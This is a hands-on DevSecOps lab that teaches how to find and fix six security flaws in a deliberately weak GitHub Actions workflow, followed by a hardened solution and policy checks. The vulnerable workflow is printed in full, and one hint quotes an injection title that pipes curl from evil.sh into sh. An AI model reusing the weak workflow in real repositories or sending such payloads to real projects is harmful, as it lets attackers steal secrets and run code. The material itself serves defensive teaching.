Geavanceerd
Zoeken inLabs
Zo zoek je
  • Zoek een taak of een tool (lvm, selinux, @podman); filter op niveau en op boek of cursus.
  • Met een leeg zoekvak toont een filter alleen al de labs — bijvoorbeeld alle moeilijke labs van één cursus.
  • "twee woorden" vindt precies die zin.
  • Gewone woorden vinden namen, teksten en voorbeelden.
  • ↑ ↓ bewegen · Enter openen · Esc sluiten · / zoeken
Probeer:

Lab 9.1GitHub Actions, Hoofdstuk 9

Harden a weak workflow: permissions, pinned actions, script injection and secrets

Niveau
Moeilijk
45 min
Machines
a GitHub repository where you can push, a text editor
Status
Nog niet begonnen

Dit deel is nog niet vertaald. Je ziet de Engelse tekst.

Doel

You get a workflow that "works" but has six classic security problems. Find each problem, explain the attack, and rewrite the workflow so a malicious pull request or issue title can not steal secrets or push code. This is exactly what a reviewer checks in a real DevSecOps team.

Voordat je begint

  • Read this workflow. Do not run it in a repository with real secrets.
    .github/workflows/weak.yml
    name: greet
    on:
      pull_request_target:
      issues:
        types: [opened]
    permissions: write-all
    jobs:
      greet:
        runs-on: self-hosted
        steps:
          - uses: actions/checkout@main
            with:
              ref: ${{ github.event.pull_request.head.sha }}
          - uses: some-user/notify-action@v2
          - run: |
              echo "New item: ${{ github.event.issue.title }}"
          - run: |
              curl -s -H "Authorization: Bearer ${{ secrets.DEPLOY_TOKEN }}" https://deploy.example.com/hook
          - run: ./build.sh

Taken

  1. List the six problems and for each one write one sentence about the attack.
  2. Set permissions to the minimum, at the top and per job.
  3. Pin every third-party action to a full commit SHA (with the version as a comment) and let Dependabot keep the pins up to date.
  4. Remove the script injection: never put ${{ github.event.* }} text directly into a run: line.
  5. Split the trigger: untrusted code from forks runs with pull_request (no secrets); only trusted events may use the deploy token, and only through a protected environment.
  6. Do not run untrusted code on a self-hosted runner.
  7. Add a step that fails the job if the workflow file contains write-all or an unpinned uses: (a tiny policy check).

Controleer je werk

grep -n "write-all\|pull_request_target\|self-hosted" .github/workflows/*.yml
grep -nE "uses: [^ ]+@(main|master|v[0-9]+)$" .github/workflows/*.yml
grep -n 'run:.*\${{ github.event' .github/workflows/*.yml
  • All three grep commands print nothing.
  • The secret DEPLOY_TOKEN is used only in a job with environment: production that runs on push to main.
  • .github/dependabot.yml updates github-actions every week.

Hints

Toon de hints
  • pull_request_target runs with the base repository's secrets and a write token, but with ref: head.sha it checks out the attacker's code. That is the "pwn request".
  • A title like x"; curl evil.sh | sh; echo " becomes shell code when the expression is pasted into run:. Pass it through env: and use "$TITLE".
  • Tags like @v2 can be moved by the action owner; a 40-character SHA can not.
  • A self-hosted runner keeps files and tokens between jobs; a fork pull request could install a backdoor on it.

Oplossing

Toon de oplossing
  1. The six problems: (1) pull_request_target + checkout of the PR head runs fork code with secrets; (2) write-all gives every step a token that can push code and change releases; (3) @main / @v2 can change under you (supply-chain attack, like the tj-actions incident in 2025); (4) ${{ github.event.issue.title }} in run: = script injection; (5) the deploy token is available to any step and any event; (6) a self-hosted runner runs untrusted code and keeps state.
  2. The safe version.
    .github/workflows/ci.yml
    name: ci
    on:
      pull_request:
      push:
        branches: [main]
      issues:
        types: [opened]
    permissions: {}
     
    jobs:
      build:
        if: github.event_name != 'issues'
        runs-on: ubuntu-latest
        permissions:
          contents: read
        steps:
          - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
            with:
              persist-credentials: false
          - run: ./build.sh
     
      greet:
        if: github.event_name == 'issues'
        runs-on: ubuntu-latest
        permissions:
          issues: read
        steps:
          - env:
              TITLE: ${{ github.event.issue.title }}
            run: |
              printf 'New item: %s\n' "$TITLE"
     
      deploy:
        if: github.event_name == 'push' && github.ref == 'refs/heads/main'
        needs: build
        runs-on: ubuntu-latest
        environment: production
        permissions:
          contents: read
        steps:
          - env:
              DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
            run: |
              curl -fsS -H "Authorization: Bearer $DEPLOY_TOKEN" https://deploy.example.com/hook
     
      policy:
        runs-on: ubuntu-latest
        permissions:
          contents: read
        steps:
          - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
          - run: bash .github/scripts/policy.sh

    The policy check is a small script outside the workflow folder (so it does not find its own search words):

    .github/scripts/policy.sh
    #!/usr/bin/env bash
    # fail on a write-all token or on an action that is not pinned to a 40-character SHA
    set -u
    bad=0
    grep -n "write-all" .github/workflows/*.yml && bad=1
    grep -nE "uses: [^ ]+@[^ ]{1,39}( |$)" .github/workflows/*.yml | grep -v "uses: \./" && bad=1
    exit $bad

    Put the DEPLOY_TOKEN secret into the environment production (Settings → Environments) with required reviewers, not into the repository secrets.

  3. Keep the pins fresh.
    .github/dependabot.yml
    version: 2
    updates:
      - package-ecosystem: github-actions
        directory: /
        schedule:
          interval: weekly
  4. Check the result.
    grep -n "write-all\|pull_request_target\|self-hosted" .github/workflows/*.yml
    git add .github && git commit -m "Harden workflows" && git push

    Optional: run zizmor .github/workflows or actionlint locally; both find these problems automatically.

Mijn notities

Nog geen notities.

Lessen voor dit lab

Commando's in dit lab